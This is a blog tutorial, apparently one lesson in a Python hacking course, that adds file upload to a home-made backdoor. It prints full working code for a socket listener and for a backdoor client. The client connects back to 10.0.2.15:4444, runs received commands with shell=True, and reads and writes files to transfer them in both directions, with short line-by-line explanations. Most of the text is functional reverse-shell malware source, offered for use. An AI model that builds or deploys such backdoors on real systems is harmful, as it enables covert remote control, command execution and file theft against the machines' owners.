Backdoor 07 : File Upload using python

#File Upload:

  • A file is a series of characters.
  • Uploading a file is the opposite of downloading a file.

#To transfer a file we need to:

  • Read the file as a sequence of characters.
  • Send this sequence of characters.
  • Create a new empty file at the destination.
  • Store the transferred sequence of characters in the new file.
#CODE: IMPLEMENTING UPLOAD FUNCTION IN LISTENER
  1. #!/usr/bin/env python
  2. import socket
  3. import json
  4. import base64

  5. class Listener:
  6. def __init__(self, ip, port):
  7. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  9. listener.bind((ip, port))
  10. listener.listen(0)
  11. print("[+]Waiting for incomming connection")
  12. self.connection, address = listener.accept()
  13. print("[+]Got a connection from" + str(address))

  14. def json_send(self, data):
  15. json_data = json.dumps(data)
  16. self.connection.send(json_data)

  17. def json_receive(self):
  18. json_data = ""
  19. while True:
  20. try:
  21. json_data = json_data + self.connection.recv(1024)
  22. return json.loads(json_data)
  23. except ValueError:
  24. continue

  25. def execute_remotely(self, command):
  26. self.json_send(command)

  27. if command[0] == "exit":
  28. self.connection.close()
  29. exit()

  30. return self.json_receive()

  31. def write_file(self, path, content):
  32. with open(path, "wb") as file:
  33. file.write(base64.b64decode(content))
  34. return "[+] Download sucessfull.."

  35. def read_file(self, path):
  36. with open(path, "rb") as file:
  37. return base64.b64encode(file.read())

  38. def run(self):
  39. while True:
  40. command = raw_input(">> ")
  41. command = command.split(" ")

  42. if command[0] == "upload":
  43. file_content = self.read_file(command[1])
  44. command.append(file_content)
  45. #how our list will look like --> ["upload","sample.txt","content of the file"]

  46. result = self.execute_remotely(command)

  47. if command[0] == "download":
  48. fix_blank = " ".join(command[1:])
  49. result = self.write_file(command[1], result)
  50. # how our list will look like --> ["upload","sample.txt"]
  51. print(result)

  52. my_listener = Listener("10.0.2.15", 4444)
  53. my_listener.run()
#EXPLANATION
So, as you know, our listener is only able to write files, so when we upload, we want to read a local file from our local computer, therefore we need a method to read a file.

Now, we've already implemented that method in my back door
so I just copy and pasted the read-function in my lisener
and similarly, i copied the write function and pasted it in my backdoor!
So now both our back door and listener have the ability to read and write files, so as you can see, the upload is the opposite of the download.

Now, there is another difference 
when we were downloading a file, we read the user input, we splitted
it based on the space(list), so it was made up of two elements.
["download","sample.txt"]
and in our upload function there is an extra element which is content of the file
["download","sample.txt","content of the file"]
#LINE=52-55
  •             if command[0] == "upload":
  •                 file_content = self.read_file(command[1])
  •                 command.append(file_content)
As u can see we add and another if statement for the upload function
it will open the file and read the content and it will store in the value of the content variable, then we will append this to our command list.

#CODE: IMPLEMENTING UPLOAD FUNCTION IN BACKDOOR
    1. #!/usr/bin/env python
    2. import socket
    3. import subprocess
    4. import json
    5. import os
    6. import base64

    7. class Backdoor:
    8. def __init__(self, ip, port):
    9. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    10. self.connection.connect((ip, port))

    11. def json_send(self, data):
    12. json_data = json.dumps(data)
    13. self.connection.send(json_data)

    14. def json_receive(self):
    15. json_data = ""
    16. while True:
    17. try:
    18. json_data = json_data + self.connection.recv(1024)
    19. return json.loads(json_data)
    20. except ValueError:
    21. continue

    22. def execute_system_command(self, command):
    23. return subprocess.check_output(command, shell=True)

    24. def change_working_directory_to(self, path):
    25. os.chdir(path)
    26. return "[+] Working directory has been changed" + path

    27. def read_file(self, path):
    28. with open(path, "rb") as file:
    29. return base64.b64encode(file.read())

    30. def write_file(self, path, content):
    31. with open(path, "wb") as file:
    32. file.write(base64.b64decode(content))
    33. return "[+] Upload sucessfull.."

    34. def run(self):
    35. while True:
    36. command = self.json_receive()
    37. if command[0] == "exit":
    38. self.connection.close()
    39. exit()
    40. elif command[0] == "cd" and len(command) > 1:
    41. command_result = self.change_working_directory_to(command[1])

    42. elif command[0] == "download":
    43. fix_blank = " ".join(command[1:])
    44. command_result = self.read_file(fix_blank)

    45. elif command[0] == "upload":
    46. command_result = self.write_file(command[1], command[2])

    47. else:
    48. command_result = self.execute_system_command(command)

    49. self.json_send(command_result)

    50. my_backdoor = Backdoor("10.0.2.15", 4444)
    51. my_backdoor.run()
    #EXPLANATION
    #LINE=55-56
    •  elif command[0] == "upload":
    •     command_result = self.write_file(command[1], command[2])
    We cheak if the command is upload than 
    the result is going to be equal to self.write_file

    And the right file method takes the file path and file content
    ["upload","sample.txt","content of the file"]
    • sample.txt = [1]
    • content of the file = [2]
    As we defined here!
    •     def write_file(self, path, content):




      Post a Comment

      If you have any doubts, please let me know

      Previous Post Next Post